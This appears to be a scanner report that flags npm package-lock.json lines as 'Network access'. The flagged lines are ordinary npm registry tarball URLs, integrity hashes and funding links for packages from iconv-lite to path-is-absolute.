"version": "0.4.24", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - Network accessline 1319
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - Network accessline 1329
"node_modules/ieee754": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - Network accessline 1330
"version": "1.2.1", "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", - Network accessline 1331
"resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", - Network accessline 1334
{ "type": "github", "url": "https://github.com/sponsors/feross" - Network accessline 1335
"type": "github", "url": "https://github.com/sponsors/feross" }, - Network accessline 1336
"url": "https://github.com/sponsors/feross" - Network accessline 1338
{ "type": "patreon", "url": "https://www.patreon.com/feross" - Network accessline 1339
"type": "patreon", "url": "https://www.patreon.com/feross" }, - Network accessline 1340
"url": "https://www.patreon.com/feross" - Network accessline 1342
{ "type": "consulting", "url": "https://feross.org/support" - Network accessline 1343
"type": "consulting", "url": "https://feross.org/support" } - Network accessline 1344
"url": "https://feross.org/support" - Network accessline 1349
"node_modules/imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - Network accessline 1350
"version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", - Network accessline 1351
"resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - Network accessline 1359
"node_modules/indent-string": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - Network accessline 1360
"version": "4.0.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - Network accessline 1361
"resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - Network accessline 1369
"node_modules/infer-owner": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", - Network accessline 1370
"version": "1.0.4", "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", - Network accessline 1371
"resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", - Network accessline 1376
"node_modules/inflight": { "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - Network accessline 1377
"version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", - Network accessline 1378
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", "deprecated": "This module is not supported, - Network accessline 1388
"node_modules/inherits": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - Network accessline 1389
"version": "2.0.4", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - Network accessline 1390
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - Network accessline 1394
"node_modules/ini": { "version": "1.3.8", "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", - Network accessline 1395
"version": "1.3.8", "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", - Network accessline 1396
"resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", - Network accessline 1400
"node_modules/ip-address": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", - Network accessline 1401
"version": "10.1.0", "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==", - Network accessline 1402
"resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", - Network accessline 1410
"node_modules/ipaddr.js": { "version": "1.9.1", "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - Network accessline 1411
"version": "1.9.1", "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", - Network accessline 1412
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", - Network accessline 1419
"node_modules/is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - Network accessline 1420
"version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQ - Network accessline 1421
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - Network accessline 1429
"node_modules/is-lambda": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", - Network accessline 1430
"version": "1.0.1", "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", - Network accessline 1431
"resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", - Network accessline 1436
"node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - Network accessline 1437
"version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - Network accessline 1438
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - Network accessline 1443
"node_modules/lru-cache": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - Network accessline 1444
"version": "6.0.0", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - Network accessline 1445
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - Network accessline 1456
"node_modules/make-error": { "version": "1.3.6", "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", - Network accessline 1457
"version": "1.3.6", "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", - Network accessline 1458
"resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", - Network accessline 1463
"node_modules/make-fetch-happen": { "version": "9.1.0", "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", - Network accessline 1464
"version": "9.1.0", "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", "integrity": "sha512-+zopwDy7DNknmwPQplem5lAZX/eCOzSvSNNcSKm5eVwTkOBzoktEfXsa9L23J/GIRhxRsaxzkPEhrJEpE2F4Gg==", - Network accessline 1465
"resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-9.1.0.tgz", - Network accessline 1491
"node_modules/math-intrinsics": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - Network accessline 1492
"version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - Network accessline 1493
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - Network accessline 1500
"node_modules/media-typer": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - Network accessline 1501
"version": "0.3.0", "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", - Network accessline 1502
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", - Network accessline 1509
"node_modules/merge-descriptors": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", - Network accessline 1510
"version": "1.0.3", "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", - Network accessline 1511
"resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", - Network accessline 1513
"license": "MIT", "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 1514
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 1515
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 1518
"node_modules/methods": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - Network accessline 1519
"version": "1.1.2", "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", - Network accessline 1520
"resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", - Network accessline 1527
"node_modules/mime": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - Network accessline 1528
"version": "1.6.0", "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", - Network accessline 1529
"resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", - Network accessline 1539
"node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - Network accessline 1540
"version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - Network accessline 1541
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - Network accessline 1548
"node_modules/mime-types": { "version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - Network accessline 1549
"version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - Network accessline 1550
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - Network accessline 1560
"node_modules/mimic-response": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - Network accessline 1561
"version": "3.1.0", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", - Network accessline 1562
"resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", - Network accessline 1567
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 1568
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 1569
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 1572
"node_modules/minimatch": { "version": "3.1.2", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - Network accessline 1573
"version": "3.1.2", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", - Network accessline 1574
"resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", - Network accessline 1585
"node_modules/minimist": { "version": "1.2.8", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", - Network accessline 1586
"version": "1.2.8", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", - Network accessline 1587
"resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", - Network accessline 1589
"license": "MIT", "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 1590
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 1591
"url": "https://github.com/sponsors/ljharb" - Network accessline 1594
"node_modules/minipass": { "version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", - Network accessline 1595
"version": "3.3.6", "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", - Network accessline 1596
"resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", - Network accessline 1606
"node_modules/minipass-collect": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", - Network accessline 1607
"version": "1.0.2", "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", - Network accessline 1608
"resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", - Network accessline 1619
"node_modules/minipass-fetch": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", - Network accessline 1620
"version": "1.4.1", "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", "integrity": "sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==", - Network accessline 1621
"resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-1.4.1.tgz", - Network accessline 1637
"node_modules/minipass-flush": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", - Network accessline 1638
"version": "1.0.5", "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", - Network accessline 1639
"resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", - Network accessline 1650
"node_modules/minipass-pipeline": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", - Network accessline 1651
"version": "1.2.4", "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", - Network accessline 1652
"resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", - Network accessline 1663
"node_modules/minipass-sized": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", - Network accessline 1664
"version": "1.0.3", "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", - Network accessline 1665
"resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", - Network accessline 1676
"node_modules/minizlib": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", - Network accessline 1677
"version": "2.1.2", "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", - Network accessline 1678
"resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", - Network accessline 1689
"node_modules/mkdirp": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - Network accessline 1690
"version": "1.0.4", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", - Network accessline 1691
"resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - Network accessline 1701
"node_modules/mkdirp-classic": { "version": "0.5.3", "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", - Network accessline 1702
"version": "0.5.3", "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", - Network accessline 1703
"resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", - Network accessline 1707
"node_modules/ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - Network accessline 1708
"version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", - Network accessline 1709
"resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - Network accessline 1713
"node_modules/napi-build-utils": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz", - Network accessline 1714
"version": "2.0.0", "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz", "integrity": "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==", - Network accessline 1715
"resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz", - Network accessline 1719
"node_modules/negotiator": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - Network accessline 1720
"version": "0.6.3", "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", - Network accessline 1721
"resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", - Network accessline 1728
"node_modules/node-abi": { "version": "3.85.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz", - Network accessline 1729
"version": "3.85.0", "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz", "integrity": "sha512-zsFhmbkAzwhTft6nd3VxcG0cvJsT70rL+BIGHWVq5fi6MwGrHwzqKaxXE+Hl2GmnGItnDKPPkO5/LQqjVkIdFg==", - Network accessline 1730
"resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.85.0.tgz", - Network accessline 1740
"node_modules/node-addon-api": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", - Network accessline 1741
"version": "7.1.1", "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", - Network accessline 1742
"resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", - Network accessline 1746
"node_modules/node-gyp": { "version": "8.4.1", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", - Network accessline 1747
"version": "8.4.1", "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", "integrity": "sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==", - Network accessline 1748
"resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-8.4.1.tgz", - Network accessline 1771
"node_modules/nopt": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", - Network accessline 1772
"version": "5.0.0", "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==", - Network accessline 1773
"resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz", - Network accessline 1787
"node_modules/npmlog": { "version": "6.0.2", "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", - Network accessline 1788
"version": "6.0.2", "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==", - Network accessline 1789
"resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz", - Network accessline 1804
"node_modules/object-assign": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - Network accessline 1805
"version": "4.1.1", "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", - Network accessline 1806
"resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", - Network accessline 1813
"node_modules/object-inspect": { "version": "1.13.4", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", - Network accessline 1814
"version": "1.13.4", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", - Network accessline 1815
"resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", - Network accessline 1820
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 1821
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 1822
"url": "https://github.com/sponsors/ljharb" - Network accessline 1825
"node_modules/on-finished": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - Network accessline 1826
"version": "2.4.1", "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", - Network accessline 1827
"resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", - Network accessline 1837
"node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - Network accessline 1838
"version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - Network accessline 1839
"resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", - Network accessline 1846
"node_modules/p-map": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", - Network accessline 1847
"version": "4.0.0", "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", - Network accessline 1848
"resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz", - Network accessline 1857
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 1858
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 1859
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 1862
"node_modules/parseurl": { "version": "1.3.3", "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - Network accessline 1863
"version": "1.3.3", "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", - Network accessline 1864
"resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", - Network accessline 1871
"node_modules/path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - Network accessline 1872
"version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - Network accessline 1873
"resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - Network accessline 1881
